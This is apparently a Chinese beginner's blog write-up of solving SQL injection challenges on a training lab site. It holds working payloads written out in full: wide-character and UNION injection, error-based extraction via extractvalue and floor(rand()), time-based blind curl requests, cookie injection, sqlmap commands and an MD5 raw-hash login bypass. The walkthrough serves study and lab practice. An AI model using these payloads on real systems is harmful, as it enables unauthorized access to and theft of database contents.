sql注入入门
本篇记录了尝试从零基础入门SQL注入,包括简单的注入、宽字符注入、利用报错信息注入...
写在前面
在 ubuntu
中修改 apache2
网站根目录。
修改根目录: 在 /etc/apache2/sites-available
中修改
000-default.conf
中的 DocumentRoot /var/www/
修改为想要的目录。 然后重启 apache2
,
sudo service apache2 restart
。
知识点
mysql中select的格式
1 | SELECT |
SQL注入基本流程
- 判断是否存在注入点;
- 判断字段回显位置;
- 判断数据库信息;
- 查找数据库名;
- 查找数据库表;
- 查找数据库表中字段以及字段值。
MySQL数据库常用知识
在MySQL中,数据库名存放在information_schema数据库下schemata表schema_name字段中;表名存放在information_schema数据库下tables表table_name字段中;字段名存放在information_schema数据库下columns表column_name字段中。
练习网站 网络信息安全攻防学习平台
防注入
利用宽字符将`'`注入
猜测闭合字符:
输入 `'`,报错;而输入`'#`未报错。
判断列 order by 4
判断显示位
union all select 1,2,3,4
查询语句
union all select 1,user(),3,4 用户
database()数据库
version()版本
可以利用python的包来作相关处理,比如: 查看特殊字符url转义。
1
2
3
4
5In [30]: import urllib
In [30]: urllib.quote('\'')
Out[30]: '%27'
In [31]: urllib.unquote('%23')
Out[31]: '#'
转换字符串为二进制并用十六进制表示 1
2
3
4In [33]: import binascii
In [34]: binascii.hexlify('mydbs')
Out[34]: '6d79646273'
查数据库表 1
http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=1%df%27%20union%20select%201,concat(group_concat(distinct+table_name)),3%20%20from%20information_schema.tables%20where%20table_schema=0x6d79646273%23
sae_user_sqli4
查表中对应的字段 1
http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php?id=1%df%27%20union%20select%201,concat(group_concat(distinct+column_name)),3%20%20from%20information_schema.columns%20where%20table_name=0x7361655f757365725f73716c6934%23
id,title_1,content_1
到底能不能回显
关于limit
命令的注入。
得到数据库名称: 1
procedure analyse(extractvalue(rand(), concat(0x3a,(select group_concat(0x7e, schema_name ,0x7e) from information_schema.schemata))),1)%23&num=1
XPATH syntax error: ':~information_schema~,~mydbs~,~t'
mydbs
0x6d79646273
procedure analyse(extractvalue(rand(), concat(0x3a,(select group_concat(0x7e, table_name,0x7e) from information_schema.tables where table_schema=0x6d79646273 ))),1)%23&num=1
XPATH syntax error: ':~article~,~user~'
得到table name:
1 | procedure analyse(extractvalue(rand(), concat(0x3a,(select group_concat(0x7e, table_name,0x7e) from information_schema.tables where table_schema=database() limit 1,1))),1)%23&num=1 |
user
二级制0x75736572
由于group_concat
得出的结果有长度限制,只能limit一个字段一个字段泄露。
1
procedure analyse(extractvalue(rand(), concat(0x3a,(select concat(0x7e, column_name, 0x7e) from information_schema.columns where table_name=0x75736572 limit 2,1))),1)%23&num=1
四个字段 id,username,password,lastloginIP
获取各个字段 1
procedure analyse(extractvalue(rand(), concat(0x3a,(select concat(0x7e,username,0x3a, password, 0x7e) from user limit 2,1))),1)%23&num=1
XPATH syntax error: ':~flag:myflagishere~'
邂逅
从图片请求入手,不能在浏览器通过正常请求测试是否有注入点,应当在BurpSuite中操作。
1 | /sqli6_f37a4a60a4a234cd309ce48ce45b9b00/images/dog1.jpg%bf%27 |
1 | # 判断列,直到5报错 |
在浏览器访问flagishere_askldjfklasjdfl.jpg即可得到flag。
6.ErrorBased
- 猜测闭合字符
- 猜测列数
- 尝试得到显示位
- 得到数据库
题目是基于错误的,当在一个聚合函数,比如count函数后面如果使用分组语句就会把查询的一部分以错误的形式显示出来。
用到的报错语句为: 1
2
3
4
5
6
7
8
9select 1,2,...,count(*),concat(0x3a,(注入代码),0x3a,floor(2*rand(0)))a FROM information_schema.tables GROUP BY a
如
select concat(0x3a,0x3a,(version()),0x3a,0x3a,floor(2*rand(0)))a,count(*) FROM information_schema.tables GROUP BY a
select count(*),concat(0x3a,0x3a,(database()),0x3a,0x3a,floor(2*rand(0)))a FROM information_schema.tables GROUP BY a
#可通过urllib.quote()将其转换成url参数输入
#得到Duplicate entry '::mydbs::1' for key 'group_key'1
2UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database();
UNION SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA=database() LIMIT 0,1;
select count(*),concat(0x3a,0x3a,(SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA=database() limit 0,1),0x3a,floor(2*rand(0)))a FROM information_schema.tables GROUP BY a
当前数据库的表依次为:log
,motto
,user
爆字段: 1
2SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'tablename'
SELECT column_name FROM information_schema.columns WHERE table_name = 'tablename' limit 0,1
select count(*),concat(0x3a,0x3a,(SELECT column_name FROM information_schema.columns WHERE table_name = 'motto' limit 0,1),0x3a,floor(2*rand(0)))a FROM information_schema.tables GROUP BY a
依次得到:id
,username
,motto
,
爆数据:
select count(*),concat(0x3a,0x3a,(SELECT username FROM motto limit 0,1),0x3a,floor(2*rand(0)))a FROM information_schema.tables GROUP BY a
怎么会没有返回结果!无语了!
可通过以下方式获得:
1 | and(select 1 |
换一种基于错误的泄露,接着研究。
第二种: XPATH爆信息
这里主要用到的是ExtractValue()和UpdateXML()这2个函数,由于mysql 5.1以后提供了内置的XML文件解析和函数,所以这种注入只能用于5.1版本以后
查看sql手册 语法:EXTRACTVALUE (XML_document, XPath_string); 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc 。 第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。 作用:从目标XML中返回包含所查询值的字符串
语法:UPDATEXML (XML_document, XPath_string, new_value); 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc 第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。 第三个参数:new_value,String格式,替换查找到的符合条件的数据。
作用:改变文档中符合条件的节点的值
现在就很清楚了,我们只需要不满足XPath_string(Xpath格式)就可以了,但是由于这个方法只能爆出32位,所以可以结合mid来使用
公式1:username=admin' and (extractvalue(1, concat(0x7e,(你想获取的数据的sql语句)))) and '1'='1
公式2:username=admin' and (updatexml(1, concat(0x7e,(你想获取的数据的sql语句)),1)) and '1'='1
1 | http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admin' and extractvalue(1, concat(0x3a,(SELECT distinct concat(0x3a,username,0x3a,motto,0x3a,0x3a) FROM motto limit 3,1)))%23 |
得到返回结果:
'::#adf#ad@@#:key#notfound!#::'
另一种解法
//看数据库版本 5.1.73 1
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admin' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
1
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admin' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
1
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admin' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
1
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admin' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
1
2http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admin' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admin' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 1,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%231
2
3http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admin' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=0x75736572 LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admin' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=0x75736572 LIMIT 1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%231
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admin' and extractvalue(1, concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM user limit 0,1)))%23
7.盲注
盲注分为两类: 1.布尔盲注 布尔很明显Ture跟Fales,也就是说它只会根据 你的注入信息返回Ture跟Fales,也就没有了之前的报错信息。 2.时间盲注 界面返回值只有一种,true 无论输入任何值 返回情况都会按正常的来处理。加入特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否正确。
先暴库,暴库的长度 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18time curl "http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php?username=admin'and%20if(length(concat(database()))=5,sleep(2),1)--+"
<html>
<head>
<title>SQLi4_article</title>
</head>
<body>
<div>
<h2> </h2>
<div class="content">username:admin'and if(length(concat(database()))=5,sleep(2),1)-- <br>status:ok </div>
</div>
</body>
</html>
real 0m8.221s
user 0m0.052s
sys 0m0.164s
再逐一暴库的字符。 1
time curl "http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php?username=admin'and%20if(ascii(substr(concat(database()),1,1))<110,sleep(2),1)--+"
m
1 | time curl "http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php?username=admin'and%20if(ascii(substr(concat(database()),2,1))<122,sleep(2),1)--+" |
y
1 | time curl "http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php?username=admin'and%20if(ascii(substr(concat(database()),3,1))<100,sleep(2),1)--+" |
d
1 | time curl "http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php?username=admin'and%20if(ascii(substr(concat(database()),4,1))<98,sleep(2),1)--+" |
a
1 | time curl "http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php?username=admin'and%20if(ascii(substr(concat(database()),5,1))<116,sleep(2),1)--+" |
s
OK!数据库叫mydas。
报表。
1 | time curl "http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php?username=admin'and%20if((select%20count(table_name)%20from%20information_schema.tables%20where%20table_schema%3Ddatabase%28%29)=3,sleep(2),1)--+" |
3个表。 逐一报表名。 暴露长度,并逐一暴露表名字符。 第一个表
1 | time curl "http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php?username=admin'and%20if((select%20length%28table_name%29%20from%20information_schema.tables%20where%20table_schema%3Ddatabase%28%29%20limit%200%2C1)=3,sleep(2),1)--+" |
长度3。
1 | time curl "http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php?username=admin'and%20if((select%20ascii%28substr%28table_name%2C1%2C1%29%29%20from%20information_schema.tables%20where%20table_schema%3Ddatabase%28%29%20limit%200%2C1)<108,sleep(2),1)--+" |
NMB。 下一个。
1 | time curl "http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php?username=admin'and%20if((select%20length%28table_name%29%20from%20information_schema.tables%20where%20table_schema%3Ddatabase%28%29%20limit%201%2C1)<6,sleep(2),1)--+" |
1 | time curl "http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php?username=admin'and%20if((select%20length%28table_name%29%20from%20information_schema.tables%20where%20table_schema%3Ddatabase%28%29%20limit%202%2C1)<5,sleep(2),1)--+" |
烦死了,直接用SQLMAP跑吧。 1
python sqlmap.py -u http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php?username=admin --current-db
Parameter: username (GET)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: username=admin' AND SLEEP(5) AND 'Leyp'='Leyp
...
current database: 'mydbs'
获取表。 1
python sqlmap.py -u http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/blind.php?username=admin -D mydbs --tables
Database: mydbs
[3 tables]
+-------+
| user |
| log |
| motto |
+-------+
获取motto
的字段
SQL注入通用防护
过滤了HTTP的GET和POST方法,头一次听说COOKIE注入。
1 | curl "http://lab1.xseclab.com/sqli8_f4af04563c22b18b51d9142ab0bfb13d/index.php?id=1" -H "Cookie: PHPSESSID=1c78312b1fc4ce0d5310b8681;id=1'" |
<html>
<head>
<title>SQLi8_article</title>
</head>
<body><br />
<b>Warning</b>: mysql_fetch_row() expects parameter 1 to be resource, boolean given in <b>sqli8_f4af04563c22b18b51d9142ab0bfb13d/index.php</b> on line <b>27</b><br />
</body>
</html>
那么接下来就是正常的注入过程。
- 得到字段数目 字段数目为3。
1
curl "http://lab1.xseclab.com/sqli8_f4af04563c22b18b51d9142ab0bfb13d/index.php?id=1" -H "Cookie: PHPSESSID=1c78312b1fc4ce0d5310b8681;id=2 order by 4"
- 得到显示位
1
curl "http://lab1.xseclab.com/sqli8_f4af04563c22b18b51d9142ab0bfb13d/index.php?id=1" -H "Cookie: PHPSESSID=1c78312b1fc4ce0d5310b8681;id=1 union select 1,2,3"
显示位为2,3
获取当前数据库的表
得到数据表为:1
curl "http://lab1.xseclab.com/sqli8_f4af04563c22b18b51d9142ab0bfb13d/index.php?id=1" -H "Cookie: PHPSESSID=1c78312b1fc4ce0d5310b8681;id=1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()"
sae_manager_sqli8,sae_user_sqli8
获取
sae_manager_sqli8
列名
1 | curl "http://lab1.xseclab.com/sqli8_f4af04563c22b18b51d9142ab0bfb13d/index.php?id=1" -H "Cookie: PHPSESSID=1c78312b1fc4ce0d5310b8681;id=1 union select 1,2, group_concat(column_name) from information_schema.columns where table_name='sae_manager_sqli8'" |
id,username,password
- 获取数据
1 | curl "http://lab1.xseclab.com/sqli8_f4af04563c22b18b51d9142ab0bfb13d/index.php?id=1" -H "Cookie: PHPSESSID=1c78312b1fc4ce0d5310b8681;id=1 union select 1,username,password from sae_manager_sqli8 limit 1,1 " |
<html>
<head>
<title>SQLi8_article</title>
</head>
<body> <div>
<h2>manager</h2>
<div class="content">IamFlagCookieInject!</div>
</div>
</body>
</html>
据说哈希后的密码是不能产生注入的
这关没有通过。。。 python关于md5的方法为: 1
2
3
4
5
6
7
8
9import hashlib
s='ffifdyop'
d=hashlib.md5(s)
d.hexdigest()
Out[35]: '276f722736c95d99e921722cf9ed621c'
d.digest()
Out[36]: "'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c"
参考网站
[1] SQL 注入 [2] SQL注入教程——(三)简单的注入尝试 [3] Redtiger Hackit Writeup [4] RedTiger libs writeup